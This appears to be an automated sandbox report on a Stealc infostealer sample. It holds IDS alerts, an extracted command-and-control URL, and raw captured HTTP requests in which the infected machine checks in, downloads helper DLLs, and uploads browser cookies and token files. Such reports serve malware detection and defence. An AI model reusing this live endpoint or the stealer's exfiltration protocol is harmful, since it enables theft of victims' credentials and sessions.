Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 30 37 45 42 45 32 39 33 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="hwid"0907EBE293653001675293------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"doma------JDGCGHCGHCBFHJJKKJEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 2d 2d 0d 0a Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="message"browsers------IJKJJKFHIJKKFHJJECBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECAHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="message"plugins------KEHDHIDAEHCFHJJJJECA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"fplugins------ECAKECAEGDHIECBGHIII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 185.215.113.37Content-Length: 5455Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJDHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 2d 2d 0d 0a Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="file"------GDHDAEBGCAAFIDGCGDHI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFIJKKEHJDHJKFIECAHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 2d 2d 0d 0a Data Ascii: ------BAAFIJKKEHJDHJKFIECAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------BAAFIJKKEHJDHJKFIECAContent-Disposition: form-data; name="message"files------BAAFIJKKEHJDHJKFIECA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"ybncbhylepme------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECAKECAEGDHIECBGHIII--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
